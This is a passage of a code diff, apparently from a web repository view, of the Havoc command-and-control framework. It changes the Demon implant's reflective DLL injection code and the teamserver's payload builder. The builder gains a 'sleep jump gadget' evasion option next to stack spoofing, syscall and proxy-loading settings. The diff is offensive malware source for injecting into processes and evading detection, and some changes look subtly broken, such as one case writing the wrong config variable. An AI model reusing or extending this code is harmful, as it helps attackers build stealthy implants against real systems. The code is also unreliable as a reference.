|
||||
{
|
||||
ctx->Parameter = MemParamsBuffer;
|
||||
PRINTF( "ctx->Parameter: %p\n", ctx->Parameter )
|
||||
@@ -299,7 +299,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
else
|
||||
{
|
||||
PRINTF( "NtWriteVirtualMemory: Failed to write memory for library [%x]\n", NtStatus )
|
||||
PackageTransmitError( 0x1, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
ReturnValue = NtStatus;
|
||||
goto Cleanup;
|
||||
}
|
||||
@@ -312,7 +312,7 @@ Cleanup:
|
||||
if ( ! HasRDll && FullDll )
|
||||
{
|
||||
MemSet( FullDll, 0, FullDllSize );
|
||||
NtHeapFree( FullDll );
|
||||
MmHeapFree( FullDll );
|
||||
FullDll = NULL;
|
||||
}
|
||||
|
||||
@@ -328,9 +328,9 @@ DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWO
|
||||
DWORD Result = 0;
|
||||
|
||||
if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64
|
||||
SpawnProc = Instance.Config.Process.Spawn86;
|
||||
SpawnProc = Instance->Config.Process.Spawn86;
|
||||
else
|
||||
SpawnProc = Instance.Config.Process.Spawn64;
|
||||
SpawnProc = Instance->Config.Process.Spawn64;
|
||||
|
||||
/* Meh this is the default */
|
||||
Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS;
|
||||
@@ -1,9 +1,9 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Inject/InjectUtil.h>
|
||||
#include <Common/Defines.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Package.h>
|
||||
#include <inject/InjectUtil.h>
|
||||
#include <common/Defines.h>
|
||||
|
||||
#ifndef _WIN32
|
||||
typedef ULONG NTSTATUS;
|
||||
@@ -1,6 +1,6 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Common/Defines.h>
|
||||
#include <common/Defines.h>
|
||||
|
||||
#ifndef SHELLCODE
|
||||
/* Export this for rundll32 or any other program that requires and exported functions...
|
||||
@@ -24,7 +24,7 @@ DLLEXPORT VOID Start( )
|
||||
DLLEXPORT BOOL WINAPI DllMain(
|
||||
IN HINSTANCE hDllBase,
|
||||
IN DWORD Reason,
|
||||
IN OUT LPVOID Reserved
|
||||
_Inout_ LPVOID Reserved
|
||||
) {
|
||||
PVOID Kernel32 = NULL;
|
||||
|
||||
@@ -192,9 +192,9 @@ func (t *Teamserver) Start() {
|
||||
// start teamserver service
|
||||
if t.Profile.Config.Service != nil {
|
||||
|
||||
logger.Warn("Service api has been disabled for this version.")
|
||||
logger.Warn("Service api has been disabled for this version.")
|
||||
|
||||
// 3rd Party Agent Support Enabled
|
||||
// 3rd Party Agent Support Enabled
|
||||
t.Service = service.NewService(t.Server.Engine)
|
||||
t.Service.Teamserver = t
|
||||
t.Service.Data.ServerAgents = &t.Agents
|
||||
|
||||
@@ -37,7 +37,7 @@ func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 {
|
||||
|
||||
FileSize := len(FileData)
|
||||
// split the file in chunks of DEMON_MAX_RESPONSE_LENGTH
|
||||
for start := 0; start < FileSize; start += chunkSize {
|
||||
for start := 0; start <= FileSize; start += chunkSize {
|
||||
end := start + chunkSize
|
||||
|
||||
// necessary check to avoid slicing beyond FileData capacity
|
||||
@@ -1131,9 +1131,10 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
|
||||
if val, ok = Optional["Arguments"].(string); ok {
|
||||
|
||||
var (
|
||||
Domain string
|
||||
User string
|
||||
Password string
|
||||
Domain string
|
||||
User string
|
||||
Password string
|
||||
LogonType int
|
||||
|
||||
ArrayData []string
|
||||
)
|
||||
@@ -1158,11 +1159,17 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
|
||||
Password = string(val)
|
||||
}
|
||||
|
||||
LogonType, err = strconv.Atoi(ArrayData[3])
|
||||
if err != nil {
|
||||
return job, errors.New("Failed to convert LogonType to int: " + err.Error())
|
||||
}
|
||||
|
||||
job.Data = []interface{}{
|
||||
SubCommand,
|
||||
common.EncodeUTF16(Domain),
|
||||
common.EncodeUTF16(User),
|
||||
common.EncodeUTF16(Password),
|
||||
LogonType,
|
||||
}
|
||||
|
||||
logger.Debug(job.Data)
|
||||
|
||||
@@ -43,6 +43,12 @@ const (
|
||||
SLEEPOBF_FOLIAGE = 3
|
||||
)
|
||||
|
||||
const (
|
||||
SLEEPOBF_BYPASS_NONE = 0
|
||||
SLEEPOBF_BYPASS_JMPRAX = 1
|
||||
SLEEPOBF_BYPASS_JMPRBX = 2
|
||||
)
|
||||
|
||||
const (
|
||||
PROXYLOADING_NONE = 0
|
||||
PROXYLOADING_RTLREGISTERWAIT = 1
|
||||
@@ -139,15 +145,14 @@ func NewBuilder(config BuilderConfig) *Builder {
|
||||
builder.config.Arch = ARCHITECTURE_X64
|
||||
|
||||
builder.compilerOptions.SourceDirs = []string{
|
||||
"Source/Core",
|
||||
"Source/Crypt",
|
||||
"Source/Inject",
|
||||
"Source/Loader",
|
||||
"Source/Asm",
|
||||
"src/core",
|
||||
"src/crypt",
|
||||
"src/inject",
|
||||
"src/asm",
|
||||
}
|
||||
|
||||
builder.compilerOptions.IncludeDirs = []string{
|
||||
"Include",
|
||||
"include",
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -194,9 +199,9 @@ func NewBuilder(config BuilderConfig) *Builder {
|
||||
}
|
||||
}
|
||||
|
||||
builder.compilerOptions.Main.Dll = "Source/Main/MainDll.c"
|
||||
builder.compilerOptions.Main.Exe = "Source/Main/MainExe.c"
|
||||
builder.compilerOptions.Main.Svc = "Source/Main/MainSvc.c"
|
||||
builder.compilerOptions.Main.Dll = "src/main/MainDll.c"
|
||||
builder.compilerOptions.Main.Exe = "src/main/MainExe.c"
|
||||
builder.compilerOptions.Main.Svc = "src/main/MainSvc.c"
|
||||
|
||||
builder.compilerOptions.Config = config
|
||||
|
||||
@@ -333,7 +338,7 @@ func (b *Builder) Build() bool {
|
||||
}
|
||||
}
|
||||
}
|
||||
CompileCommand += "Source/Demon.c "
|
||||
CompileCommand += "src/Demon.c "
|
||||
|
||||
// add include directories
|
||||
for _, dir := range b.compilerOptions.IncludeDirs {
|
||||
@@ -518,7 +523,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte {
|
||||
new := []byte(b.ProfileConfig.ReplaceStringsX64[old])
|
||||
// make sure they are the same length
|
||||
if len(new) < len(old) {
|
||||
new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...)
|
||||
new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)
|
||||
}
|
||||
if len(new) > len(old) {
|
||||
logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old))
|
||||
@@ -539,7 +544,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte {
|
||||
new := []byte(b.ProfileConfig.ReplaceStringsX86[old])
|
||||
// make sure they are the same length
|
||||
if len(new) < len(old) {
|
||||
new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...)
|
||||
new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)
|
||||
}
|
||||
if len(new) > len(old) {
|
||||
logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old))
|
||||
@@ -563,6 +568,7 @@ func (b *Builder) PatchConfig() ([]byte, error) {
|
||||
ConfigSpawn64 string
|
||||
ConfigSpawn32 string
|
||||
ConfigObfTechnique int
|
||||
ConfigObfBypass int
|
||||
ConfigProxyLoading = PROXYLOADING_NONE
|
||||
ConfigStackSpoof = win32.FALSE
|
||||
ConfigSyscall = win32.FALSE
|
||||
@@ -723,6 +729,43 @@ func (b *Builder) PatchConfig() ([]byte, error) {
|
||||
return nil, errors.New("sleep Obfuscation technique is undefined")
|
||||
}
|
||||
|
||||
if val, ok := b.config.Config["Sleep Jmp Gadget"].(string); ok && len(val) > 0 {
|
||||
|
||||
if ConfigObfTechnique != SLEEPOBF_NO_OBF {
|
||||
switch val {
|
||||
case "jmp rax":
|
||||
ConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX
|
||||
if !b.silent {
|
||||
b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rax\" has been specified")
|
||||
}
|
||||
break
|
||||
|
||||
case "jmp rbx":
|
||||
ConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX
|
||||
if !b.silent {
|
||||
b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rbx\" has been specified")
|
||||
}
|
||||
break
|
||||
|
||||
default:
|
||||
ConfigObfBypass = SLEEPOBF_BYPASS_NONE
|
||||
if !b.silent {
|
||||
b.SendConsoleMessage("Info", "no sleep jump gadget has been specified")
|
||||
}
|
||||
break
|
||||
}
|
||||
} else {
|
||||
// if no sleep obfuscation technique has been specified then
|
||||
// no jmp gadgets are going to be used.
|
||||
if !b.silent {
|
||||
b.SendConsoleMessage("Info", "sleep jump gadget option ignored")
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
return nil, errors.New("sleep Obfuscation technique is undefined")
|
||||
}
|
||||
|
||||
if val, ok := b.config.Config["Stack Duplication"].(bool); ok {
|
||||
if ConfigObfTechnique != SLEEPOBF_NO_OBF {
|
||||
if val {
|
||||
@@ -812,6 +855,7 @@ func (b *Builder) PatchConfig() ([]byte, error) {
|
||||
|
||||
// bypass techniques
|
||||
DemonConfig.AddInt(ConfigObfTechnique)
|
||||
DemonConfig.AddInt(ConfigObfBypass)
|
||||
DemonConfig.AddInt(ConfigStackSpoof)
|
||||
DemonConfig.AddInt(ConfigProxyLoading)
|
||||
DemonConfig.AddInt(ConfigSyscall)
|
||||
|
||||
Reference in New Issue
Block a user